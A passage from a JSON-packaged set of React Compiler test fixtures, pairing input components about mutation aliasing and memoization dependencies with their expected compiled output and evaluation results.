$[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  let t2;\n  if ($[6] !== t1 || $[7] !== x) {\n    t2 = <ValidateMemoization inputs={t1} output={x} />;\n    $[6] = t1;\n    $[7] = x;\n    $[8] = t2;\n  } else {\n    t2 = $[8];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 0 }],\n  sequentialRenders: [\n    { a: 0, b: 0 },\n    { a: 0, b: 1 },\n    { a: 1, b: 1 },\n    { a: 0, b: 0 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[0,0],\"output\":{\"a\":0,\"property\":0}}</div>\n<div>{\"inputs\":[0,1],\"output\":{\"a\":0,\"property\":1}}</div>\n<div>{\"inputs\":[1,1],\"output\":{\"a\":1,\"property\":1}}</div>\n<div>{\"inputs\":[0,0],\"output\":{\"a\":0,\"property\":0}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-capture-createfrom.tsx",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({a, b}: {a: number; b: number}) {\n  const x = useMemo(() => ({a}), [a, b]);\n  const y = typedCapture(x);\n  const z = typedCreateFrom(y);\n  // mutates x\n  typedMutate(z, b);\n\n  return <ValidateMemoization inputs={[a, b]} output={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 0, b: 1},\n    {a: 1, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-createfrom-capture.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useMemo} from 'react';\nimport {\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const x = useMemo(() => [{a}], [a]);\n  const y = typedCreateFrom(x);\n  const z = typedCapture(y);\n  // does not mutate x, so x should not depend on b\n  typedMutate(z, b);\n\n  return <ValidateMemoization inputs={[a]} output={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 0, b: 1},\n    {a: 1, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useMemo } from \"react\";\nimport {\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(7);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = [{ a }];\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const x = t1;\n  const y = typedCreateFrom(x);\n  const z = typedCapture(y);\n\n  typedMutate(z, b);\n  let t2;\n  if ($[2] !== a) {\n    t2 = [a];\n    $[2] = a;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== t2 || $[5] !== x) {\n    t3 = <ValidateMemoization inputs={t2} output={x} />;\n    $[4] = t2;\n    $[5] = x;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 0 }],\n  sequentialRenders: [\n    { a: 0, b: 0 },\n    { a: 0, b: 1 },\n    { a: 1, b: 1 },\n    { a: 0, b: 0 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[0],\"output\":[{\"a\":0}]}</div>\n<div>{\"inputs\":[0],\"output\":[{\"a\":0}]}</div>\n<div>{\"inputs\":[1],\"output\":[{\"a\":1}]}</div>\n<div>{\"inputs\":[0],\"output\":[{\"a\":0}]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-createfrom-capture.tsx",
    "content": "import {useMemo} from 'react';\nimport {\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const x = useMemo(() => [{a}], [a]);\n  const y = typedCreateFrom(x);\n  const z = typedCapture(y);\n  // does not mutate x, so x should not depend on b\n  typedMutate(z, b);\n\n  return <ValidateMemoization inputs={[a]} output={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 0, b: 1},\n    {a: 1, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-phi-assign-or-capture.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const x = useMemo(() => [{a}], [a, b]);\n  let z: any;\n  if (b) {\n    z = x;\n  } else {\n    z = typedCapture(x);\n  }\n  // could mutate x\n  typedMutate(z, b);\n\n  return <ValidateMemoization inputs={[a, b]} output={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 0, b: 1},\n    {a: 1, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\nimport {\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(11);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = { a };\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let x;\n  if ($[2] !== b || $[3] !== t1) {\n    x = [t1];\n    let z;\n    if (b) {\n      z = x;\n    } else {\n      z = typedCapture(x);\n    }\n\n    typedMutate(z, b);\n    $[2] = b;\n    $[3] = t1;\n    $[4] = x;\n  } else {\n    x = $[4];\n  }\n  let t2;\n  if ($[5] !== a || $[6] !== b) {\n    t2 = [a, b];\n    $[5] = a;\n    $[6] = b;\n    $[7] = t2;\n  } else {\n    t2 = $[7];\n  }\n  let t3;\n  if ($[8] !== t2 || $[9] !== x) {\n    t3 = <ValidateMemoization inputs={t2} output={x} />;\n    $[8] = t2;\n    $[9] = x;\n    $[10] = t3;\n  } else {\n    t3 = $[10];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 0 }],\n  sequentialRenders: [\n    { a: 0, b: 0 },\n    { a: 0, b: 1 },\n    { a: 1, b: 1 },\n    { a: 0, b: 0 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[0,0],\"output\":[{\"a\":0}]}</div>\n<div>{\"inputs\":[0,1],\"output\":[{\"a\":0}]}</div>\n<div>{\"inputs\":[1,1],\"output\":[{\"a\":1}]}</div>\n<div>{\"inputs\":[0,0],\"output\":[{\"a\":0}]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-phi-assign-or-capture.tsx",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {\n  typedCapture,\n  typedCreateFrom,\n  typedMutate,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const x = useMemo(() => [{a}], [a, b]);\n  let z: any;\n  if (b) {\n    z = x;\n  } else {\n    z = typedCapture(x);\n  }\n  // could mutate x\n  typedMutate(z, b);\n\n  return <ValidateMemoization inputs={[a, b]} output={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 0, b: 1},\n    {a: 1, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/typed-identity-function-frozen-input.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\n\nimport {useMemo} from 'react';\nimport {\n  identity,\n  makeObject_Primitives,\n  typedIdentity,\n  useIdentity,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  // create a mutable value with input `a`\n  const x = useMemo(() => makeObject_Primitives(a), [a]);\n\n  // freeze the value\n  useIdentity(x);\n\n  // known to pass-through via aliasing signature\n  const x2 = typedIdentity(x);\n\n  // Unknown function so we assume it conditionally mutates,\n  // but x2 is frozen so this downgrades to a read.\n  // x should *not* take b as a dependency\n  identity(x2, b);\n\n  return <ValidateMemoization inputs={[a]} output={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 1, b: 0},\n    {a: 1, b: 1},\n    {a: 0, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\n\nimport { useMemo } from \"react\";\nimport {\n  identity,\n  makeObject_Primitives,\n  typedIdentity,\n  useIdentity,\n  ValidateMemoization,\n} from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(7);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = makeObject_Primitives(a);\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const x = t1;\n\n  useIdentity(x);\n\n  const x2 = typedIdentity(x);\n\n  identity(x2, b);\n  let t2;\n  if ($[2] !== a) {\n    t2 = [a];\n    $[2] = a;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== t2 || $[5] !== x) {\n    t3 = <ValidateMemoization inputs={t2} output={x} />;\n    $[4] = t2;\n    $[5] = x;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 0 }],\n  sequentialRenders: [\n    { a: 0, b: 0 },\n    { a: 1, b: 0 },\n    { a: 1, b: 1 },\n    { a: 0, b: 1 },\n    { a: 0, b: 0 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[0],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true}}</div>\n<div>{\"inputs\":[1],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true}}</div>\n<div>{\"inputs\":[1],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true}}</div>\n<div>{\"inputs\":[0],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true}}</div>\n<div>{\"inputs\":[0],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/typed-identity-function-frozen-input.js",
    "content": "// @enableNewMutationAliasingModel\n\nimport {useMemo} from 'react';\nimport {\n  identity,\n  makeObject_Primitives,\n  typedIdentity,\n  useIdentity,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  // create a mutable value with input `a`\n  const x = useMemo(() => makeObject_Primitives(a), [a]);\n\n  // freeze the value\n  useIdentity(x);\n\n  // known to pass-through via aliasing signature\n  const x2 = typedIdentity(x);\n\n  // Unknown function so we assume it conditionally mutates,\n  // but x2 is frozen so this downgrades to a read.\n  // x should *not* take b as a dependency\n  identity(x2, b);\n\n  return <ValidateMemoization inputs={[a]} output={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 1, b: 0},\n    {a: 1, b: 1},\n    {a: 0, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/typed-identity-function-mutable-input.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\n\nimport {\n  identity,\n  makeObject_Primitives,\n  typedIdentity,\n  useIdentity,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  // create a mutable value with input `a`\n  const x = makeObject_Primitives(a);\n\n  // known to pass-through via aliasing signature\n  const x2 = typedIdentity(x);\n\n  // Unknown function so we assume it conditionally mutates,\n  // and x is still mutable so\n  identity(x2, b);\n\n  return <ValidateMemoization inputs={[a, b]} output={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 1, b: 0},\n    {a: 1, b: 1},\n    {a: 0, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\n\nimport {\n  identity,\n  makeObject_Primitives,\n  typedIdentity,\n  useIdentity,\n  ValidateMemoization,\n} from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(9);\n  const { a, b } = t0;\n  let x;\n  if ($[0] !== a || $[1] !== b) {\n    x = makeObject_Primitives(a);\n\n    const x2 = typedIdentity(x);\n\n    identity(x2, b);\n    $[0] = a;\n    $[1] = b;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  let t1;\n  if ($[3] !== a || $[4] !== b) {\n    t1 = [a, b];\n    $[3] = a;\n    $[4] = b;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  let t2;\n  if ($[6] !== t1 || $[7] !== x) {\n    t2 = <ValidateMemoization inputs={t1} output={x} />;\n    $[6] = t1;\n    $[7] = x;\n    $[8] = t2;\n  } else {\n    t2 = $[8];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 0 }],\n  sequentialRenders: [\n    { a: 0, b: 0 },\n    { a: 1, b: 0 },\n    { a: 1, b: 1 },\n    { a: 0, b: 1 },\n    { a: 0, b: 0 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[0,0],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true}}</div>\n<div>{\"inputs\":[1,0],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true}}</div>\n<div>{\"inputs\":[1,1],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true}}</div>\n<div>{\"inputs\":[0,1],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true}}</div>\n<div>{\"inputs\":[0,0],\"output\":{\"a\":0,\"b\":\"value1\",\"c\":true}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/typed-identity-function-mutable-input.js",
    "content": "// @enableNewMutationAliasingModel\n\nimport {\n  identity,\n  makeObject_Primitives,\n  typedIdentity,\n  useIdentity,\n  ValidateMemoization,\n} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  // create a mutable value with input `a`\n  const x = makeObject_Primitives(a);\n\n  // known to pass-through via aliasing signature\n  const x2 = typedIdentity(x);\n\n  // Unknown function so we assume it conditionally mutates,\n  // and x is still mutable so\n  identity(x2, b);\n\n  return <ValidateMemoization inputs={[a, b]} output={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 1, b: 0},\n    {a: 1, b: 1},\n    {a: 0, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useCallback-reordering-deplist-controlflow.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useCallback} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Foo({arr1, arr2, foo}) {\n  const x = [arr1];\n\n  let y = [];\n\n  const getVal1 = useCallback(() => {\n    return {x: 2};\n  }, []);\n\n  const getVal2 = useCallback(() => {\n    return [y];\n  }, [foo ? (y = x.concat(arr2)) : y]);\n\n  return <Stringify val1={getVal1} val2={getVal2} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{arr1: [1, 2], arr2: [3, 4], foo: true}],\n  sequentialRenders: [\n    {arr1: [1, 2], arr2: [3, 4], foo: true},\n    {arr1: [1, 2], arr2: [3, 4], foo: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useCallback } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Foo(t0) {\n  const $ = _c(10);\n  const { arr1, arr2, foo } = t0;\n  let t1;\n  if ($[0] !== arr1) {\n    t1 = [arr1];\n    $[0] = arr1;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const x = t1;\n  let getVal1;\n  let t2;\n  if ($[2] !== arr2 || $[3] !== foo || $[4] !== x) {\n    let y = [];\n    getVal1 = _temp;\n    t2 = () => [y];\n    foo ? (y = x.concat(arr2)) : y;\n    $[2] = arr2;\n    $[3] = foo;\n    $[4] = x;\n    $[5] = getVal1;\n    $[6] = t2;\n  } else {\n    getVal1 = $[5];\n    t2 = $[6];\n  }\n  const getVal2 = t2;\n  let t3;\n  if ($[7] !== getVal1 || $[8] !== getVal2) {\n    t3 = <Stringify val1={getVal1} val2={getVal2} shouldInvokeFns={true} />;\n    $[7] = getVal1;\n    $[8] = getVal2;\n    $[9] = t3;\n  } else {\n    t3 = $[9];\n  }\n  return t3;\n}\nfunction _temp() {\n  return { x: 2 };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ arr1: [1, 2], arr2: [3, 4], foo: true }],\n  sequentialRenders: [\n    { arr1: [1, 2], arr2: [3, 4], foo: true },\n    { arr1: [1, 2], arr2: [3, 4], foo: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"val1\":{\"kind\":\"Function\",\"result\":{\"x\":2}},\"val2\":{\"kind\":\"Function\",\"result\":[[[1,2],3,4]]},\"shouldInvokeFns\":true}</div>\n<div>{\"val1\":{\"kind\":\"Function\",\"result\":{\"x\":2}},\"val2\":{\"kind\":\"Function\",\"result\":[[]]},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useCallback-reordering-deplist-controlflow.tsx",
    "content": "// @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useCallback} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Foo({arr1, arr2, foo}) {\n  const x = [arr1];\n\n  let y = [];\n\n  const getVal1 = useCallback(() => {\n    return {x: 2};\n  }, []);\n\n  const getVal2 = useCallback(() => {\n    return [y];\n  }, [foo ? (y = x.concat(arr2)) : y]);\n\n  return <Stringify val1={getVal1} val2={getVal2} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{arr1: [1, 2], arr2: [3, 4], foo: true}],\n  sequentialRenders: [\n    {arr1: [1, 2], arr2: [3, 4], foo: true},\n    {arr1: [1, 2], arr2: [3, 4], foo: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useCallback-reordering-depslist-assignment.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useCallback} from 'react';\nimport {Stringify} from 'shared-runtime';\n\n// We currently produce invalid output (incorrect scoping for `y` declaration)\nfunction useFoo(arr1, arr2) {\n  const x = [arr1];\n\n  let y;\n  const getVal = useCallback(() => {\n    return {y};\n  }, [((y = x.concat(arr2)), y)]);\n\n  return <Stringify getVal={getVal} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    [1, 2],\n    [3, 4],\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useCallback } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\n// We currently produce invalid output (incorrect scoping for `y` declaration)\nfunction useFoo(arr1, arr2) {\n  const $ = _c(7);\n  let t0;\n  if ($[0] !== arr1) {\n    t0 = [arr1];\n    $[0] = arr1;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  let t1;\n  if ($[2] !== arr2 || $[3] !== x) {\n    let y;\n    t1 = () => ({ y });\n    (y = x.concat(arr2)), y;\n    $[2] = arr2;\n    $[3] = x;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  const getVal = t1;\n  let t2;\n  if ($[5] !== getVal) {\n    t2 = <Stringify getVal={getVal} shouldInvokeFns={true} />;\n    $[5] = getVal;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    [1, 2],\n    [3, 4],\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"getVal\":{\"kind\":\"Function\",\"result\":{\"y\":[[1,2],3,4]}},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useCallback-reordering-depslist-assignment.tsx",
    "content": "// @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useCallback} from 'react';\nimport {Stringify} from 'shared-runtime';\n\n// We currently produce invalid output (incorrect scoping for `y` declaration)\nfunction useFoo(arr1, arr2) {\n  const x = [arr1];\n\n  let y;\n  const getVal = useCallback(() => {\n    return {y};\n  }, [((y = x.concat(arr2)), y)]);\n\n  return <Stringify getVal={getVal} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    [1, 2],\n    [3, 4],\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useMemo-reordering-depslist-assignment.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\nfunction useFoo(arr1, arr2) {\n  const x = [arr1];\n\n  let y;\n  return useMemo(() => {\n    return {y};\n  }, [((y = x.concat(arr2)), y)]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    [1, 2],\n    [3, 4],\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\n\nfunction useFoo(arr1, arr2) {\n  const $ = _c(7);\n  let t0;\n  if ($[0] !== arr1) {\n    t0 = [arr1];\n    $[0] = arr1;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  let y;\n  if ($[2] !== arr2 || $[3] !== x) {\n    (y = x.concat(arr2)), y;\n    $[2] = arr2;\n    $[3] = x;\n    $[4] = y;\n  } else {\n    y = $[4];\n  }\n  let t1;\n  if ($[5] !== y) {\n    t1 = { y };\n    $[5] = y;\n    $[6] = t1;\n  } else {\n    t1 = $[6];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    [1, 2],\n    [3, 4],\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"y\":[[1,2],3,4]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useMemo-reordering-depslist-assignment.ts",
    "content": "// @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\nfunction useFoo(arr1, arr2) {\n  const x = [arr1];\n\n  let y;\n  return useMemo(() => {\n    return {y};\n  }, [((y = x.concat(arr2)), y)]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    [1, 2],\n    [3, 4],\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-spread.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = new Foo(...props.foo, null, ...[props.bar]);\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] !== props.bar || $[1] !== props.foo) {\n    t0 = new Foo(...props.foo, null, ...[props.bar]);\n    $[0] = props.bar;\n    $[1] = props.foo;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  const x = t0;\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-spread.js",
    "content": "function Component(props) {\n  const x = new Foo(...props.foo, null, ...[props.bar]);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/no-flow-bailout-unrelated.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableFlowSuppressions\n\nfunction useX() {}\n\nfunction Foo(props) {\n  // $FlowFixMe[incompatible-type]\n  useX();\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\n// @enableFlowSuppressions\n\nfunction useX() {}\n\nfunction Foo(props) {\n  useX();\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) null"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/no-flow-bailout-unrelated.js",
    "content": "// @enableFlowSuppressions\n\nfunction useX() {}\n\nfunction Foo(props) {\n  // $FlowFixMe[incompatible-type]\n  useX();\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/noAlias-filter-on-array-prop.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const filtered = props.items.filter(item => item != null);\n  return filtered;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      items: [{a: true}, null, true, false, null, 'string', 3.14, null, [null]],\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.items) {\n    t0 = props.items.filter(_temp);\n    $[0] = props.items;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const filtered = t0;\n  return filtered;\n}\nfunction _temp(item) {\n  return item != null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      items: [\n        { a: true },\n        null,\n        true,\n        false,\n        null,\n        \"string\",\n        3.14,\n        null,\n        [null],\n      ],\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"a\":true},true,false,\"string\",3.14,[null]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/noAlias-filter-on-array-prop.js",
    "content": "function Component(props) {\n  const filtered = props.items.filter(item => item != null);\n  return filtered;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      items: [{a: true}, null, true, false, null, 'string', 3.14, null, [null]],\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/non-null-assertion.expect.md",
